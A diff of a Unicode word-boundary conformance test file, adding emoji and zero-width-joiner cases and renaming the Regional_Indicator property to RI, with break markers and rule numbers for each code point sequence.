+÷ 200D × 0308 ÷ 0027 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 200D ÷ 261D ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 200D × 0308 ÷ 261D ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 200D ÷ 1F3FB ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 200D × 0308 ÷ 1F3FB ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 200D × 2640 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 200D × 0308 ÷ 2640 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 200D × 1F466 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] BOY (EBG) ÷ [0.3]
+÷ 200D × 0308 ÷ 1F466 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 200D × 00AD ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
+÷ 200D × 0308 × 00AD ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
+÷ 200D × 0300 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 200D × 0308 × 0300 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 200D × 200D ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 200D × 0308 × 200D ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 200D ÷ 0061 × 2060 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 200D × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 200D ÷ 0061 ÷ 003A ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 200D × 0308 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 200D ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 200D × 0308 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 200D ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 200D × 0308 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 200D ÷ 0061 ÷ 002C ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 200D × 0308 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 200D ÷ 0031 ÷ 003A ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 200D × 0308 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 200D ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 200D × 0308 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 200D ÷ 0031 ÷ 002C ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 200D × 0308 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 200D ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 200D × 0308 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0061 × 2060 ÷ 0001 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
÷ 0061 × 2060 × 0308 ÷ 0001 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
÷ 0061 × 2060 ÷ 000D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
@@ -926,18 +1408,28 @@
÷ 0061 × 2060 × 0308 × 0030 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [9.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0061 × 2060 × 005F ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [13.1] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0061 × 2060 × 0308 × 005F ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [13.1] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0061 × 2060 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0061 × 2060 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0061 × 2060 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 0061 × 2060 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0061 × 2060 × 05D0 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [5.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0061 × 2060 × 0308 × 05D0 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0061 × 2060 ÷ 0022 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0061 × 2060 × 0308 ÷ 0022 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0061 × 2060 ÷ 0027 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0061 × 2060 × 0308 ÷ 0027 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0061 × 2060 ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0061 × 2060 × 0308 ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0061 × 2060 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0061 × 2060 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0061 × 2060 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 × 2060 × 0308 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 × 2060 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0061 × 2060 × 0308 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0061 × 2060 × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0061 × 2060 × 0308 × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0061 × 2060 × 0300 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0061 × 2060 × 0308 × 0300 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0061 × 2060 × 200D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0061 × 2060 × 0308 × 200D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0061 × 2060 × 0061 × 2060 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [5.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0061 × 2060 × 0308 × 0061 × 2060 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0061 × 2060 × 0061 ÷ 003A ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [5.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -978,18 +1470,28 @@
÷ 0061 ÷ 003A × 0308 ÷ 0030 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0061 ÷ 003A ÷ 005F ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0061 ÷ 003A × 0308 ÷ 005F ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0061 ÷ 003A ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0061 ÷ 003A × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0061 ÷ 003A ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 0061 ÷ 003A × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0061 × 003A × 05D0 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] COLON (MidLetter) × [7.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0061 × 003A × 0308 × 05D0 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [7.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0061 ÷ 003A ÷ 0022 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0061 ÷ 003A × 0308 ÷ 0022 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0061 ÷ 003A ÷ 0027 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0061 ÷ 003A × 0308 ÷ 0027 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0061 ÷ 003A ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0061 ÷ 003A × 0308 ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0061 ÷ 003A ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0061 ÷ 003A × 0308 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0061 ÷ 003A ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 003A × 0308 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 003A ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0061 ÷ 003A × 0308 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0061 ÷ 003A × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0061 ÷ 003A × 0308 × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0061 ÷ 003A × 0300 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0061 ÷ 003A × 0308 × 0300 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0061 ÷ 003A × 200D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0061 ÷ 003A × 0308 × 200D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0061 × 003A × 0061 × 2060 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] COLON (MidLetter) × [7.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0061 × 003A × 0308 × 0061 × 2060 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [7.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0061 × 003A × 0061 ÷ 003A ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] COLON (MidLetter) × [7.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -1030,18 +1532,28 @@
÷ 0061 ÷ 0027 × 0308 ÷ 0030 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0061 ÷ 0027 ÷ 005F ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0061 ÷ 0027 × 0308 ÷ 005F ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0061 ÷ 0027 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0061 ÷ 0027 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0061 ÷ 0027 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 0061 ÷ 0027 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0061 × 0027 × 05D0 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] APOSTROPHE (Single_Quote) × [7.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0061 × 0027 × 0308 × 05D0 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [6.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) × [7.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0061 ÷ 0027 ÷ 0022 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0061 ÷ 0027 × 0308 ÷ 0022 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0061 ÷ 0027 ÷ 0027 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0061 ÷ 0027 × 0308 ÷ 0027 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0061 ÷ 0027 ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0061 ÷ 0027 × 0308 ÷ 261D ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0061 ÷ 0027 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0061 ÷ 0027 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0061 ÷ 0027 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 0027 × 0308 ÷ 2640 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 0027 ÷ 1F466 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] BOY (EBG) ÷ [0.3]
